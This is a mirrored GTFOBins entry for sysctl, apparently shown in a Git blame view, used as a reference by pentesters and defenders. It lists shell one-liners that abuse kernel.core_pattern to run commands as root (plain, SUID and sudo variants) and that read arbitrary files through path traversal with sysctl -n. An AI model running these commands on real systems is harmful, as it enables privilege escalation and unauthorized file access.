1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/sysctl.md

31 lines
914 B
Markdown
Raw Permalink Normal View History

2020-06-11 18:10:35 +02:00
---
functions:
command:
- description: The command is executed by root in the background when a core dump occurs.
code: |
COMMAND='/bin/sh -c id>/tmp/id'
sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
2020-06-11 18:10:35 +02:00
file-read:
- description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
code: |
2020-06-11 18:10:35 +02:00
LFILE=file_to_read
2020-06-11 18:18:36 +02:00
/usr/sbin/sysctl -n "/../../$LFILE"
2020-06-11 18:10:35 +02:00
suid:
- code: |
COMMAND='/bin/sh -c id>/tmp/id'
./sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
2020-06-11 18:10:35 +02:00
sudo:
- code: |
COMMAND='/bin/sh -c id>/tmp/id'
sudo sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
2020-06-11 18:10:35 +02:00
---